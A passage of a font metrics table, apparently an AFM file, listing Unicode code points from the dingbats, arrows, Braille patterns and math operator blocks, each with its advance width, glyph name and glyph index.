U 9864 ; WX 896 ; N uni2688 ; G 3936
U 9865 ; WX 896 ; N uni2689 ; G 3937
U 9866 ; WX 896 ; N uni268A ; G 3938
U 9867 ; WX 896 ; N uni268B ; G 3939
U 9868 ; WX 896 ; N uni268C ; G 3940
U 9869 ; WX 896 ; N uni268D ; G 3941
U 9870 ; WX 896 ; N uni268E ; G 3942
U 9871 ; WX 896 ; N uni268F ; G 3943
U 9872 ; WX 896 ; N uni2690 ; G 3944
U 9873 ; WX 896 ; N uni2691 ; G 3945
U 9874 ; WX 896 ; N uni2692 ; G 3946
U 9875 ; WX 896 ; N uni2693 ; G 3947
U 9876 ; WX 896 ; N uni2694 ; G 3948
U 9877 ; WX 541 ; N uni2695 ; G 3949
U 9878 ; WX 896 ; N uni2696 ; G 3950
U 9879 ; WX 896 ; N uni2697 ; G 3951
U 9880 ; WX 896 ; N uni2698 ; G 3952
U 9881 ; WX 896 ; N uni2699 ; G 3953
U 9882 ; WX 896 ; N uni269A ; G 3954
U 9883 ; WX 896 ; N uni269B ; G 3955
U 9884 ; WX 896 ; N uni269C ; G 3956
U 9886 ; WX 896 ; N uni269E ; G 3957
U 9887 ; WX 896 ; N uni269F ; G 3958
U 9888 ; WX 896 ; N uni26A0 ; G 3959
U 9889 ; WX 702 ; N uni26A1 ; G 3960
U 9890 ; WX 1004 ; N uni26A2 ; G 3961
U 9891 ; WX 1089 ; N uni26A3 ; G 3962
U 9892 ; WX 1175 ; N uni26A4 ; G 3963
U 9893 ; WX 903 ; N uni26A5 ; G 3964
U 9894 ; WX 838 ; N uni26A6 ; G 3965
U 9895 ; WX 838 ; N uni26A7 ; G 3966
U 9896 ; WX 838 ; N uni26A8 ; G 3967
U 9897 ; WX 838 ; N uni26A9 ; G 3968
U 9898 ; WX 838 ; N uni26AA ; G 3969
U 9899 ; WX 838 ; N uni26AB ; G 3970
U 9900 ; WX 838 ; N uni26AC ; G 3971
U 9901 ; WX 838 ; N uni26AD ; G 3972
U 9902 ; WX 838 ; N uni26AE ; G 3973
U 9903 ; WX 838 ; N uni26AF ; G 3974
U 9904 ; WX 844 ; N uni26B0 ; G 3975
U 9905 ; WX 838 ; N uni26B1 ; G 3976
U 9906 ; WX 732 ; N uni26B2 ; G 3977
U 9907 ; WX 732 ; N uni26B3 ; G 3978
U 9908 ; WX 732 ; N uni26B4 ; G 3979
U 9909 ; WX 732 ; N uni26B5 ; G 3980
U 9910 ; WX 850 ; N uni26B6 ; G 3981
U 9911 ; WX 732 ; N uni26B7 ; G 3982
U 9912 ; WX 732 ; N uni26B8 ; G 3983
U 9920 ; WX 838 ; N uni26C0 ; G 3984
U 9921 ; WX 838 ; N uni26C1 ; G 3985
U 9922 ; WX 838 ; N uni26C2 ; G 3986
U 9923 ; WX 838 ; N uni26C3 ; G 3987
U 9954 ; WX 732 ; N uni26E2 ; G 3988
U 9985 ; WX 838 ; N uni2701 ; G 3989
U 9986 ; WX 838 ; N uni2702 ; G 3990
U 9987 ; WX 838 ; N uni2703 ; G 3991
U 9988 ; WX 838 ; N uni2704 ; G 3992
U 9990 ; WX 838 ; N uni2706 ; G 3993
U 9991 ; WX 838 ; N uni2707 ; G 3994
U 9992 ; WX 838 ; N uni2708 ; G 3995
U 9993 ; WX 838 ; N uni2709 ; G 3996
U 9996 ; WX 838 ; N uni270C ; G 3997
U 9997 ; WX 838 ; N uni270D ; G 3998
U 9998 ; WX 838 ; N uni270E ; G 3999
U 9999 ; WX 838 ; N uni270F ; G 4000
U 10000 ; WX 838 ; N uni2710 ; G 4001
U 10001 ; WX 838 ; N uni2711 ; G 4002
U 10002 ; WX 838 ; N uni2712 ; G 4003
U 10003 ; WX 838 ; N uni2713 ; G 4004
U 10004 ; WX 838 ; N uni2714 ; G 4005
U 10005 ; WX 838 ; N uni2715 ; G 4006
U 10006 ; WX 838 ; N uni2716 ; G 4007
U 10007 ; WX 838 ; N uni2717 ; G 4008
U 10008 ; WX 838 ; N uni2718 ; G 4009
U 10009 ; WX 838 ; N uni2719 ; G 4010
U 10010 ; WX 838 ; N uni271A ; G 4011
U 10011 ; WX 838 ; N uni271B ; G 4012
U 10012 ; WX 838 ; N uni271C ; G 4013
U 10013 ; WX 838 ; N uni271D ; G 4014
U 10014 ; WX 838 ; N uni271E ; G 4015
U 10015 ; WX 838 ; N uni271F ; G 4016
U 10016 ; WX 838 ; N uni2720 ; G 4017
U 10017 ; WX 838 ; N uni2721 ; G 4018
U 10018 ; WX 838 ; N uni2722 ; G 4019
U 10019 ; WX 838 ; N uni2723 ; G 4020
U 10020 ; WX 838 ; N uni2724 ; G 4021
U 10021 ; WX 838 ; N uni2725 ; G 4022
U 10022 ; WX 838 ; N uni2726 ; G 4023
U 10023 ; WX 838 ; N uni2727 ; G 4024
U 10025 ; WX 838 ; N uni2729 ; G 4025
U 10026 ; WX 838 ; N uni272A ; G 4026
U 10027 ; WX 838 ; N uni272B ; G 4027
U 10028 ; WX 838 ; N uni272C ; G 4028
U 10029 ; WX 838 ; N uni272D ; G 4029
U 10030 ; WX 838 ; N uni272E ; G 4030
U 10031 ; WX 838 ; N uni272F ; G 4031
U 10032 ; WX 838 ; N uni2730 ; G 4032
U 10033 ; WX 838 ; N uni2731 ; G 4033
U 10034 ; WX 838 ; N uni2732 ; G 4034
U 10035 ; WX 838 ; N uni2733 ; G 4035
U 10036 ; WX 838 ; N uni2734 ; G 4036
U 10037 ; WX 838 ; N uni2735 ; G 4037
U 10038 ; WX 838 ; N uni2736 ; G 4038
U 10039 ; WX 838 ; N uni2737 ; G 4039
U 10040 ; WX 838 ; N uni2738 ; G 4040
U 10041 ; WX 838 ; N uni2739 ; G 4041
U 10042 ; WX 838 ; N uni273A ; G 4042
U 10043 ; WX 838 ; N uni273B ; G 4043
U 10044 ; WX 838 ; N uni273C ; G 4044
U 10045 ; WX 838 ; N uni273D ; G 4045
U 10046 ; WX 838 ; N uni273E ; G 4046
U 10047 ; WX 838 ; N uni273F ; G 4047
U 10048 ; WX 838 ; N uni2740 ; G 4048
U 10049 ; WX 838 ; N uni2741 ; G 4049
U 10050 ; WX 838 ; N uni2742 ; G 4050
U 10051 ; WX 838 ; N uni2743 ; G 4051
U 10052 ; WX 838 ; N uni2744 ; G 4052
U 10053 ; WX 838 ; N uni2745 ; G 4053
U 10054 ; WX 838 ; N uni2746 ; G 4054
U 10055 ; WX 838 ; N uni2747 ; G 4055
U 10056 ; WX 838 ; N uni2748 ; G 4056
U 10057 ; WX 838 ; N uni2749 ; G 4057
U 10058 ; WX 838 ; N uni274A ; G 4058
U 10059 ; WX 838 ; N uni274B ; G 4059
U 10061 ; WX 896 ; N uni274D ; G 4060
U 10063 ; WX 896 ; N uni274F ; G 4061
U 10064 ; WX 896 ; N uni2750 ; G 4062
U 10065 ; WX 896 ; N uni2751 ; G 4063
U 10066 ; WX 896 ; N uni2752 ; G 4064
U 10070 ; WX 896 ; N uni2756 ; G 4065
U 10072 ; WX 838 ; N uni2758 ; G 4066
U 10073 ; WX 838 ; N uni2759 ; G 4067
U 10074 ; WX 838 ; N uni275A ; G 4068
U 10075 ; WX 347 ; N uni275B ; G 4069
U 10076 ; WX 347 ; N uni275C ; G 4070
U 10077 ; WX 587 ; N uni275D ; G 4071
U 10078 ; WX 587 ; N uni275E ; G 4072
U 10081 ; WX 838 ; N uni2761 ; G 4073
U 10082 ; WX 838 ; N uni2762 ; G 4074
U 10083 ; WX 838 ; N uni2763 ; G 4075
U 10084 ; WX 838 ; N uni2764 ; G 4076
U 10085 ; WX 838 ; N uni2765 ; G 4077
U 10086 ; WX 838 ; N uni2766 ; G 4078
U 10087 ; WX 838 ; N uni2767 ; G 4079
U 10088 ; WX 838 ; N uni2768 ; G 4080
U 10089 ; WX 838 ; N uni2769 ; G 4081
U 10090 ; WX 838 ; N uni276A ; G 4082
U 10091 ; WX 838 ; N uni276B ; G 4083
U 10092 ; WX 838 ; N uni276C ; G 4084
U 10093 ; WX 838 ; N uni276D ; G 4085
U 10094 ; WX 838 ; N uni276E ; G 4086
U 10095 ; WX 838 ; N uni276F ; G 4087
U 10096 ; WX 838 ; N uni2770 ; G 4088
U 10097 ; WX 838 ; N uni2771 ; G 4089
U 10098 ; WX 838 ; N uni2772 ; G 4090
U 10099 ; WX 838 ; N uni2773 ; G 4091
U 10100 ; WX 838 ; N uni2774 ; G 4092
U 10101 ; WX 838 ; N uni2775 ; G 4093
U 10102 ; WX 847 ; N uni2776 ; G 4094
U 10103 ; WX 847 ; N uni2777 ; G 4095
U 10104 ; WX 847 ; N uni2778 ; G 4096
U 10105 ; WX 847 ; N uni2779 ; G 4097
U 10106 ; WX 847 ; N uni277A ; G 4098
U 10107 ; WX 847 ; N uni277B ; G 4099
U 10108 ; WX 847 ; N uni277C ; G 4100
U 10109 ; WX 847 ; N uni277D ; G 4101
U 10110 ; WX 847 ; N uni277E ; G 4102
U 10111 ; WX 847 ; N uni277F ; G 4103
U 10112 ; WX 838 ; N uni2780 ; G 4104
U 10113 ; WX 838 ; N uni2781 ; G 4105
U 10114 ; WX 838 ; N uni2782 ; G 4106
U 10115 ; WX 838 ; N uni2783 ; G 4107
U 10116 ; WX 838 ; N uni2784 ; G 4108
U 10117 ; WX 838 ; N uni2785 ; G 4109
U 10118 ; WX 838 ; N uni2786 ; G 4110
U 10119 ; WX 838 ; N uni2787 ; G 4111
U 10120 ; WX 838 ; N uni2788 ; G 4112
U 10121 ; WX 838 ; N uni2789 ; G 4113
U 10122 ; WX 838 ; N uni278A ; G 4114
U 10123 ; WX 838 ; N uni278B ; G 4115
U 10124 ; WX 838 ; N uni278C ; G 4116
U 10125 ; WX 838 ; N uni278D ; G 4117
U 10126 ; WX 838 ; N uni278E ; G 4118
U 10127 ; WX 838 ; N uni278F ; G 4119
U 10128 ; WX 838 ; N uni2790 ; G 4120
U 10129 ; WX 838 ; N uni2791 ; G 4121
U 10130 ; WX 838 ; N uni2792 ; G 4122
U 10131 ; WX 838 ; N uni2793 ; G 4123
U 10132 ; WX 838 ; N uni2794 ; G 4124
U 10136 ; WX 838 ; N uni2798 ; G 4125
U 10137 ; WX 838 ; N uni2799 ; G 4126
U 10138 ; WX 838 ; N uni279A ; G 4127
U 10139 ; WX 838 ; N uni279B ; G 4128
U 10140 ; WX 838 ; N uni279C ; G 4129
U 10141 ; WX 838 ; N uni279D ; G 4130
U 10142 ; WX 838 ; N uni279E ; G 4131
U 10143 ; WX 838 ; N uni279F ; G 4132
U 10144 ; WX 838 ; N uni27A0 ; G 4133
U 10145 ; WX 838 ; N uni27A1 ; G 4134
U 10146 ; WX 838 ; N uni27A2 ; G 4135
U 10147 ; WX 838 ; N uni27A3 ; G 4136
U 10148 ; WX 838 ; N uni27A4 ; G 4137
U 10149 ; WX 838 ; N uni27A5 ; G 4138
U 10150 ; WX 838 ; N uni27A6 ; G 4139
U 10151 ; WX 838 ; N uni27A7 ; G 4140
U 10152 ; WX 838 ; N uni27A8 ; G 4141
U 10153 ; WX 838 ; N uni27A9 ; G 4142
U 10154 ; WX 838 ; N uni27AA ; G 4143
U 10155 ; WX 838 ; N uni27AB ; G 4144
U 10156 ; WX 838 ; N uni27AC ; G 4145
U 10157 ; WX 838 ; N uni27AD ; G 4146
U 10158 ; WX 838 ; N uni27AE ; G 4147
U 10159 ; WX 838 ; N uni27AF ; G 4148
U 10161 ; WX 838 ; N uni27B1 ; G 4149
U 10162 ; WX 838 ; N uni27B2 ; G 4150
U 10163 ; WX 838 ; N uni27B3 ; G 4151
U 10164 ; WX 838 ; N uni27B4 ; G 4152
U 10165 ; WX 838 ; N uni27B5 ; G 4153
U 10166 ; WX 838 ; N uni27B6 ; G 4154
U 10167 ; WX 838 ; N uni27B7 ; G 4155
U 10168 ; WX 838 ; N uni27B8 ; G 4156
U 10169 ; WX 838 ; N uni27B9 ; G 4157
U 10170 ; WX 838 ; N uni27BA ; G 4158
U 10171 ; WX 838 ; N uni27BB ; G 4159
U 10172 ; WX 838 ; N uni27BC ; G 4160
U 10173 ; WX 838 ; N uni27BD ; G 4161
U 10174 ; WX 838 ; N uni27BE ; G 4162
U 10181 ; WX 457 ; N uni27C5 ; G 4163
U 10182 ; WX 457 ; N uni27C6 ; G 4164
U 10208 ; WX 494 ; N uni27E0 ; G 4165
U 10214 ; WX 487 ; N uni27E6 ; G 4166
U 10215 ; WX 487 ; N uni27E7 ; G 4167
U 10216 ; WX 457 ; N uni27E8 ; G 4168
U 10217 ; WX 457 ; N uni27E9 ; G 4169
U 10218 ; WX 721 ; N uni27EA ; G 4170
U 10219 ; WX 721 ; N uni27EB ; G 4171
U 10224 ; WX 838 ; N uni27F0 ; G 4172
U 10225 ; WX 838 ; N uni27F1 ; G 4173
U 10226 ; WX 838 ; N uni27F2 ; G 4174
U 10227 ; WX 838 ; N uni27F3 ; G 4175
U 10228 ; WX 1157 ; N uni27F4 ; G 4176
U 10229 ; WX 1434 ; N uni27F5 ; G 4177
U 10230 ; WX 1434 ; N uni27F6 ; G 4178
U 10231 ; WX 1434 ; N uni27F7 ; G 4179
U 10232 ; WX 1434 ; N uni27F8 ; G 4180
U 10233 ; WX 1434 ; N uni27F9 ; G 4181
U 10234 ; WX 1434 ; N uni27FA ; G 4182
U 10235 ; WX 1434 ; N uni27FB ; G 4183
U 10236 ; WX 1434 ; N uni27FC ; G 4184
U 10237 ; WX 1434 ; N uni27FD ; G 4185
U 10238 ; WX 1434 ; N uni27FE ; G 4186
U 10239 ; WX 1434 ; N uni27FF ; G 4187
U 10240 ; WX 781 ; N uni2800 ; G 4188
U 10241 ; WX 781 ; N uni2801 ; G 4189
U 10242 ; WX 781 ; N uni2802 ; G 4190
U 10243 ; WX 781 ; N uni2803 ; G 4191
U 10244 ; WX 781 ; N uni2804 ; G 4192
U 10245 ; WX 781 ; N uni2805 ; G 4193
U 10246 ; WX 781 ; N uni2806 ; G 4194
U 10247 ; WX 781 ; N uni2807 ; G 4195
U 10248 ; WX 781 ; N uni2808 ; G 4196
U 10249 ; WX 781 ; N uni2809 ; G 4197
U 10250 ; WX 781 ; N uni280A ; G 4198
U 10251 ; WX 781 ; N uni280B ; G 4199
U 10252 ; WX 781 ; N uni280C ; G 4200
U 10253 ; WX 781 ; N uni280D ; G 4201
U 10254 ; WX 781 ; N uni280E ; G 4202
U 10255 ; WX 781 ; N uni280F ; G 4203
U 10256 ; WX 781 ; N uni2810 ; G 4204
U 10257 ; WX 781 ; N uni2811 ; G 4205
U 10258 ; WX 781 ; N uni2812 ; G 4206
U 10259 ; WX 781 ; N uni2813 ; G 4207
U 10260 ; WX 781 ; N uni2814 ; G 4208
U 10261 ; WX 781 ; N uni2815 ; G 4209
U 10262 ; WX 781 ; N uni2816 ; G 4210
U 10263 ; WX 781 ; N uni2817 ; G 4211
U 10264 ; WX 781 ; N uni2818 ; G 4212
U 10265 ; WX 781 ; N uni2819 ; G 4213
U 10266 ; WX 781 ; N uni281A ; G 4214
U 10267 ; WX 781 ; N uni281B ; G 4215
U 10268 ; WX 781 ; N uni281C ; G 4216
U 10269 ; WX 781 ; N uni281D ; G 4217
U 10270 ; WX 781 ; N uni281E ; G 4218
U 10271 ; WX 781 ; N uni281F ; G 4219
U 10272 ; WX 781 ; N uni2820 ; G 4220
U 10273 ; WX 781 ; N uni2821 ; G 4221
U 10274 ; WX 781 ; N uni2822 ; G 4222
U 10275 ; WX 781 ; N uni2823 ; G 4223
U 10276 ; WX 781 ; N uni2824 ; G 4224
U 10277 ; WX 781 ; N uni2825 ; G 4225
U 10278 ; WX 781 ; N uni2826 ; G 4226
U 10279 ; WX 781 ; N uni2827 ; G 4227
U 10280 ; WX 781 ; N uni2828 ; G 4228
U 10281 ; WX 781 ; N uni2829 ; G 4229
U 10282 ; WX 781 ; N uni282A ; G 4230
U 10283 ; WX 781 ; N uni282B ; G 4231
U 10284 ; WX 781 ; N uni282C ; G 4232
U 10285 ; WX 781 ; N uni282D ; G 4233
U 10286 ; WX 781 ; N uni282E ; G 4234
U 10287 ; WX 781 ; N uni282F ; G 4235
U 10288 ; WX 781 ; N uni2830 ; G 4236
U 10289 ; WX 781 ; N uni2831 ; G 4237
U 10290 ; WX 781 ; N uni2832 ; G 4238
U 10291 ; WX 781 ; N uni2833 ; G 4239
U 10292 ; WX 781 ; N uni2834 ; G 4240
U 10293 ; WX 781 ; N uni2835 ; G 4241
U 10294 ; WX 781 ; N uni2836 ; G 4242
U 10295 ; WX 781 ; N uni2837 ; G 4243
U 10296 ; WX 781 ; N uni2838 ; G 4244
U 10297 ; WX 781 ; N uni2839 ; G 4245
U 10298 ; WX 781 ; N uni283A ; G 4246
U 10299 ; WX 781 ; N uni283B ; G 4247
U 10300 ; WX 781 ; N uni283C ; G 4248
U 10301 ; WX 781 ; N uni283D ; G 4249
U 10302 ; WX 781 ; N uni283E ; G 4250
U 10303 ; WX 781 ; N uni283F ; G 4251
U 10304 ; WX 781 ; N uni2840 ; G 4252
U 10305 ; WX 781 ; N uni2841 ; G 4253
U 10306 ; WX 781 ; N uni2842 ; G 4254
U 10307 ; WX 781 ; N uni2843 ; G 4255
U 10308 ; WX 781 ; N uni2844 ; G 4256
U 10309 ; WX 781 ; N uni2845 ; G 4257
U 10310 ; WX 781 ; N uni2846 ; G 4258
U 10311 ; WX 781 ; N uni2847 ; G 4259
U 10312 ; WX 781 ; N uni2848 ; G 4260
U 10313 ; WX 781 ; N uni2849 ; G 4261
U 10314 ; WX 781 ; N uni284A ; G 4262
U 10315 ; WX 781 ; N uni284B ; G 4263
U 10316 ; WX 781 ; N uni284C ; G 4264
U 10317 ; WX 781 ; N uni284D ; G 4265
U 10318 ; WX 781 ; N uni284E ; G 4266
U 10319 ; WX 781 ; N uni284F ; G 4267
U 10320 ; WX 781 ; N uni2850 ; G 4268
U 10321 ; WX 781 ; N uni2851 ; G 4269
U 10322 ; WX 781 ; N uni2852 ; G 4270
U 10323 ; WX 781 ; N uni2853 ; G 4271
U 10324 ; WX 781 ; N uni2854 ; G 4272
U 10325 ; WX 781 ; N uni2855 ; G 4273
U 10326 ; WX 781 ; N uni2856 ; G 4274
U 10327 ; WX 781 ; N uni2857 ; G 4275
U 10328 ; WX 781 ; N uni2858 ; G 4276
U 10329 ; WX 781 ; N uni2859 ; G 4277
U 10330 ; WX 781 ; N uni285A ; G 4278
U 10331 ; WX 781 ; N uni285B ; G 4279
U 10332 ; WX 781 ; N uni285C ; G 4280
U 10333 ; WX 781 ; N uni285D ; G 4281
U 10334 ; WX 781 ; N uni285E ; G 4282
U 10335 ; WX 781 ; N uni285F ; G 4283
U 10336 ; WX 781 ; N uni2860 ; G 4284
U 10337 ; WX 781 ; N uni2861 ; G 4285
U 10338 ; WX 781 ; N uni2862 ; G 4286
U 10339 ; WX 781 ; N uni2863 ; G 4287
U 10340 ; WX 781 ; N uni2864 ; G 4288
U 10341 ; WX 781 ; N uni2865 ; G 4289
U 10342 ; WX 781 ; N uni2866 ; G 4290
U 10343 ; WX 781 ; N uni2867 ; G 4291
U 10344 ; WX 781 ; N uni2868 ; G 4292
U 10345 ; WX 781 ; N uni2869 ; G 4293
U 10346 ; WX 781 ; N uni286A ; G 4294
U 10347 ; WX 781 ; N uni286B ; G 4295
U 10348 ; WX 781 ; N uni286C ; G 4296
U 10349 ; WX 781 ; N uni286D ; G 4297
U 10350 ; WX 781 ; N uni286E ; G 4298
U 10351 ; WX 781 ; N uni286F ; G 4299
U 10352 ; WX 781 ; N uni2870 ; G 4300
U 10353 ; WX 781 ; N uni2871 ; G 4301
U 10354 ; WX 781 ; N uni2872 ; G 4302
U 10355 ; WX 781 ; N uni2873 ; G 4303
U 10356 ; WX 781 ; N uni2874 ; G 4304
U 10357 ; WX 781 ; N uni2875 ; G 4305
U 10358 ; WX 781 ; N uni2876 ; G 4306
U 10359 ; WX 781 ; N uni2877 ; G 4307
U 10360 ; WX 781 ; N uni2878 ; G 4308
U 10361 ; WX 781 ; N uni2879 ; G 4309
U 10362 ; WX 781 ; N uni287A ; G 4310
U 10363 ; WX 781 ; N uni287B ; G 4311
U 10364 ; WX 781 ; N uni287C ; G 4312
U 10365 ; WX 781 ; N uni287D ; G 4313
U 10366 ; WX 781 ; N uni287E ; G 4314
U 10367 ; WX 781 ; N uni287F ; G 4315
U 10368 ; WX 781 ; N uni2880 ; G 4316
U 10369 ; WX 781 ; N uni2881 ; G 4317
U 10370 ; WX 781 ; N uni2882 ; G 4318
U 10371 ; WX 781 ; N uni2883 ; G 4319
U 10372 ; WX 781 ; N uni2884 ; G 4320
U 10373 ; WX 781 ; N uni2885 ; G 4321
U 10374 ; WX 781 ; N uni2886 ; G 4322
U 10375 ; WX 781 ; N uni2887 ; G 4323
U 10376 ; WX 781 ; N uni2888 ; G 4324
U 10377 ; WX 781 ; N uni2889 ; G 4325
U 10378 ; WX 781 ; N uni288A ; G 4326
U 10379 ; WX 781 ; N uni288B ; G 4327
U 10380 ; WX 781 ; N uni288C ; G 4328
U 10381 ; WX 781 ; N uni288D ; G 4329
U 10382 ; WX 781 ; N uni288E ; G 4330
U 10383 ; WX 781 ; N uni288F ; G 4331
U 10384 ; WX 781 ; N uni2890 ; G 4332
U 10385 ; WX 781 ; N uni2891 ; G 4333
U 10386 ; WX 781 ; N uni2892 ; G 4334
U 10387 ; WX 781 ; N uni2893 ; G 4335
U 10388 ; WX 781 ; N uni2894 ; G 4336
U 10389 ; WX 781 ; N uni2895 ; G 4337
U 10390 ; WX 781 ; N uni2896 ; G 4338
U 10391 ; WX 781 ; N uni2897 ; G 4339
U 10392 ; WX 781 ; N uni2898 ; G 4340
U 10393 ; WX 781 ; N uni2899 ; G 4341
U 10394 ; WX 781 ; N uni289A ; G 4342
U 10395 ; WX 781 ; N uni289B ; G 4343
U 10396 ; WX 781 ; N uni289C ; G 4344
U 10397 ; WX 781 ; N uni289D ; G 4345
U 10398 ; WX 781 ; N uni289E ; G 4346
U 10399 ; WX 781 ; N uni289F ; G 4347
U 10400 ; WX 781 ; N uni28A0 ; G 4348
U 10401 ; WX 781 ; N uni28A1 ; G 4349
U 10402 ; WX 781 ; N uni28A2 ; G 4350
U 10403 ; WX 781 ; N uni28A3 ; G 4351
U 10404 ; WX 781 ; N uni28A4 ; G 4352
U 10405 ; WX 781 ; N uni28A5 ; G 4353
U 10406 ; WX 781 ; N uni28A6 ; G 4354
U 10407 ; WX 781 ; N uni28A7 ; G 4355
U 10408 ; WX 781 ; N uni28A8 ; G 4356
U 10409 ; WX 781 ; N uni28A9 ; G 4357
U 10410 ; WX 781 ; N uni28AA ; G 4358
U 10411 ; WX 781 ; N uni28AB ; G 4359
U 10412 ; WX 781 ; N uni28AC ; G 4360
U 10413 ; WX 781 ; N uni28AD ; G 4361
U 10414 ; WX 781 ; N uni28AE ; G 4362
U 10415 ; WX 781 ; N uni28AF ; G 4363
U 10416 ; WX 781 ; N uni28B0 ; G 4364
U 10417 ; WX 781 ; N uni28B1 ; G 4365
U 10418 ; WX 781 ; N uni28B2 ; G 4366
U 10419 ; WX 781 ; N uni28B3 ; G 4367
U 10420 ; WX 781 ; N uni28B4 ; G 4368
U 10421 ; WX 781 ; N uni28B5 ; G 4369
U 10422 ; WX 781 ; N uni28B6 ; G 4370
U 10423 ; WX 781 ; N uni28B7 ; G 4371
U 10424 ; WX 781 ; N uni28B8 ; G 4372
U 10425 ; WX 781 ; N uni28B9 ; G 4373
U 10426 ; WX 781 ; N uni28BA ; G 4374
U 10427 ; WX 781 ; N uni28BB ; G 4375
U 10428 ; WX 781 ; N uni28BC ; G 4376
U 10429 ; WX 781 ; N uni28BD ; G 4377
U 10430 ; WX 781 ; N uni28BE ; G 4378
U 10431 ; WX 781 ; N uni28BF ; G 4379
U 10432 ; WX 781 ; N uni28C0 ; G 4380
U 10433 ; WX 781 ; N uni28C1 ; G 4381
U 10434 ; WX 781 ; N uni28C2 ; G 4382
U 10435 ; WX 781 ; N uni28C3 ; G 4383
U 10436 ; WX 781 ; N uni28C4 ; G 4384
U 10437 ; WX 781 ; N uni28C5 ; G 4385
U 10438 ; WX 781 ; N uni28C6 ; G 4386
U 10439 ; WX 781 ; N uni28C7 ; G 4387
U 10440 ; WX 781 ; N uni28C8 ; G 4388
U 10441 ; WX 781 ; N uni28C9 ; G 4389
U 10442 ; WX 781 ; N uni28CA ; G 4390
U 10443 ; WX 781 ; N uni28CB ; G 4391
U 10444 ; WX 781 ; N uni28CC ; G 4392
U 10445 ; WX 781 ; N uni28CD ; G 4393
U 10446 ; WX 781 ; N uni28CE ; G 4394
U 10447 ; WX 781 ; N uni28CF ; G 4395
U 10448 ; WX 781 ; N uni28D0 ; G 4396
U 10449 ; WX 781 ; N uni28D1 ; G 4397
U 10450 ; WX 781 ; N uni28D2 ; G 4398
U 10451 ; WX 781 ; N uni28D3 ; G 4399
U 10452 ; WX 781 ; N uni28D4 ; G 4400
U 10453 ; WX 781 ; N uni28D5 ; G 4401
U 10454 ; WX 781 ; N uni28D6 ; G 4402
U 10455 ; WX 781 ; N uni28D7 ; G 4403
U 10456 ; WX 781 ; N uni28D8 ; G 4404
U 10457 ; WX 781 ; N uni28D9 ; G 4405
U 10458 ; WX 781 ; N uni28DA ; G 4406
U 10459 ; WX 781 ; N uni28DB ; G 4407
U 10460 ; WX 781 ; N uni28DC ; G 4408
U 10461 ; WX 781 ; N uni28DD ; G 4409
U 10462 ; WX 781 ; N uni28DE ; G 4410
U 10463 ; WX 781 ; N uni28DF ; G 4411
U 10464 ; WX 781 ; N uni28E0 ; G 4412
U 10465 ; WX 781 ; N uni28E1 ; G 4413
U 10466 ; WX 781 ; N uni28E2 ; G 4414
U 10467 ; WX 781 ; N uni28E3 ; G 4415
U 10468 ; WX 781 ; N uni28E4 ; G 4416
U 10469 ; WX 781 ; N uni28E5 ; G 4417
U 10470 ; WX 781 ; N uni28E6 ; G 4418
U 10471 ; WX 781 ; N uni28E7 ; G 4419
U 10472 ; WX 781 ; N uni28E8 ; G 4420
U 10473 ; WX 781 ; N uni28E9 ; G 4421
U 10474 ; WX 781 ; N uni28EA ; G 4422
U 10475 ; WX 781 ; N uni28EB ; G 4423
U 10476 ; WX 781 ; N uni28EC ; G 4424
U 10477 ; WX 781 ; N uni28ED ; G 4425
U 10478 ; WX 781 ; N uni28EE ; G 4426
U 10479 ; WX 781 ; N uni28EF ; G 4427
U 10480 ; WX 781 ; N uni28F0 ; G 4428
U 10481 ; WX 781 ; N uni28F1 ; G 4429
U 10482 ; WX 781 ; N uni28F2 ; G 4430
U 10483 ; WX 781 ; N uni28F3 ; G 4431
U 10484 ; WX 781 ; N uni28F4 ; G 4432
U 10485 ; WX 781 ; N uni28F5 ; G 4433
U 10486 ; WX 781 ; N uni28F6 ; G 4434
U 10487 ; WX 781 ; N uni28F7 ; G 4435
U 10488 ; WX 781 ; N uni28F8 ; G 4436
U 10489 ; WX 781 ; N uni28F9 ; G 4437
U 10490 ; WX 781 ; N uni28FA ; G 4438
U 10491 ; WX 781 ; N uni28FB ; G 4439
U 10492 ; WX 781 ; N uni28FC ; G 4440
U 10493 ; WX 781 ; N uni28FD ; G 4441
U 10494 ; WX 781 ; N uni28FE ; G 4442
U 10495 ; WX 781 ; N uni28FF ; G 4443
U 10502 ; WX 838 ; N uni2906 ; G 4444
U 10503 ; WX 838 ; N uni2907 ; G 4445
U 10506 ; WX 838 ; N uni290A ; G 4446
U 10507 ; WX 838 ; N uni290B ; G 4447
U 10560 ; WX 838 ; N uni2940 ; G 4448
U 10561 ; WX 838 ; N uni2941 ; G 4449
U 10627 ; WX 753 ; N uni2983 ; G 4450
U 10628 ; WX 753 ; N uni2984 ; G 4451
U 10702 ; WX 838 ; N uni29CE ; G 4452
U 10703 ; WX 1046 ; N uni29CF ; G 4453
U 10704 ; WX 1046 ; N uni29D0 ; G 4454
U 10705 ; WX 1000 ; N uni29D1 ; G 4455
U 10706 ; WX 1000 ; N uni29D2 ; G 4456
U 10707 ; WX 1000 ; N uni29D3 ; G 4457
U 10708 ; WX 1000 ; N uni29D4 ; G 4458
U 10709 ; WX 1000 ; N uni29D5 ; G 4459
U 10731 ; WX 494 ; N uni29EB ; G 4460
U 10746 ; WX 838 ; N uni29FA ; G 4461
U 10747 ; WX 838 ; N uni29FB ; G 4462
U 10752 ; WX 1000 ; N uni2A00 ; G 4463
U 10753 ; WX 1000 ; N uni2A01 ; G 4464
U 10754 ; WX 1000 ; N uni2A02 ; G 4465
U 10764 ; WX 1661 ; N uni2A0C ; G 4466
U 10765 ; WX 563 ; N uni2A0D ; G 4467
U 10766 ; WX 563 ; N uni2A0E ; G 4468
U 10767 ; WX 563 ; N uni2A0F ; G 4469
U 10768 ; WX 563 ; N uni2A10 ; G 4470
U 10769 ; WX 563 ; N uni2A11 ; G 4471
U 10770 ; WX 563 ; N uni2A12 ; G 4472
U 10771 ; WX 563 ; N uni2A13 ; G 4473
U 10772 ; WX 563 ; N uni2A14 ; G 4474
U 10773 ; WX 563 ; N uni2A15 ; G 4475
U 10774 ; WX 563 ; N uni2A16 ; G 4476
U 10775 ; WX 563 ; N uni2A17 ; G 4477
U 10776 ; WX 563 ; N uni2A18 ; G 4478
U 10777 ; WX 563 ; N uni2A19 ; G 4479
U 10778 ; WX 563 ; N uni2A1A ; G 4480
U 10779 ; WX 563 ; N uni2A1B ; G 4481
U 10780 ; WX 563 ; N uni2A1C ; G 4482
U 10799 ; WX 838 ; N uni2A2F ; G 4483
U 10858 ; WX 838 ; N uni2A6A ; G 4484
U 10859 ; WX 838 ; N uni2A6B ; G 4485
U 10877 ; WX 838 ; N uni2A7D ; G 4486
U 10878 ; WX 838 ; N uni2A7E ; G 4487
U 10879 ; WX 838 ; N uni2A7F ; G 4488
